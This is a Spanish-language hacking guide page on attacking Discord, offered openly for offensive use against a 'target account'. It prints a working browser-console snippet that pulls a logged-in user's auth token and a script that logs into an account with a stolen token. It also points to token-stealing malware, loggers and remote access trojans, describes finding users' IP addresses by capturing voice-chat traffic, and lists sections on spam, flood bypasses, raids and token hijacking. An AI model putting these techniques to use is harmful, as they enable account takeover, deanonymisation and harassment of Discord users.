Hacking de discord
generic
Discord es una aplicación gratuita de comunicación que te permite conectarte con amigos, comunidades de juegos y otros usuarios a través de chat de texto, voz y video. Esta es una de las aplicaciones mas explotables a mi opinión, por ahora solo veremos algunas pocas técnicas.
SOCMINT y recolección de información
Obtención de tokens
En una web, los tokens son generalmente pequeños trozos de información que permiten la autenticación y autorización de los usuarios. Estos tokens se utilizan para identificar y verificar a los usuarios, permitiéndoles acceder a contenido y funciones protegidas sin necesidad de ingresar sus credenciales cada vez.
esto nos indica que, conseguir un token nos permite acceder a una cuenta sin tener que utilizar los métodos de autenticación convencionales.
id to token
el codificar un ID de Discord en base64, podemos conseguir la primera parte de un token (no muy útil)
para copiar un ID debemos activar el modo desarrollador

configuración > avanzados > modo desarrolladorcopiando el ID de un usuario :

al entrar a un perfil y darle a los 3 puntos podremos ver como nos da la opción
para ponerlo en base64 es muy fácil, si prefieres ahorrar tiempo puedes usar esta pagina : https://www.base64encode.org/
malware y loggers por discord token
conseguir tokens mediante la instalación de malware y loggers.
En github hay algunos proyectos que podemos utilizar para hacer esto :
Obtencion manual del token de discord
si estamos por ejemplo en la computadora de la cuenta objetivo podemos ejecutar el siguiente código para conseguir el token desde la consola de navegador (hay que entrar a discord primero) :
(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()
# fuente : https://gist.github.com/XielQs/90ab13b0c61c6888dae329199ea6aff3 (elimina esta linea)loggearse en un token de discord
podemos usar el siguiente codigo en la consola del navegador (hay que entrar a discord primero) :
let token = "token_aqui";
function login(token) {
setInterval(() => {
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
}, 50);
setTimeout(() => {
location.reload();
}, 2500);
}
login(token);
# fuente : https://gist.github.com/m-Phoenix852/b47fffb0fd579bc210420cedbda30b61 (elimina esta linea)o bien, utilizar extensiones, ten en cuenta que en este caso no sabemos si el creador de alguna extensión esta recopilando datos no deseados.
Discord RAT
estos RAT (Remote Access Trojan) nos permiten controlar maquinas mediante discord
Obtención de IPs
vamos a ver como obtener direcciones IP o aproximaciones
mediante VC
en los voice chat, puedes abrir wireshark para interceptar los servidores de voz en donde se conectan los usuarios, lo que te permite conseguir ubicaciones aproximadas e incluso es posible que se haga un leak de la IP real.
Spam y Flood
Flood avanzado (Bypasses)
Ping invisible y mensajes cursed
spam avanzado (Bypasses)
flood por md
Bypass del limite de caracteres
Webhook spammers
webhook spam avanzado
Introducción a las Raids
Introduccion a las raids avanzadas
creando bots propios
hijack de tokens
token joiners
Tecnicas
Bypass de seguridad
Plugins
Control de tokens
Last updated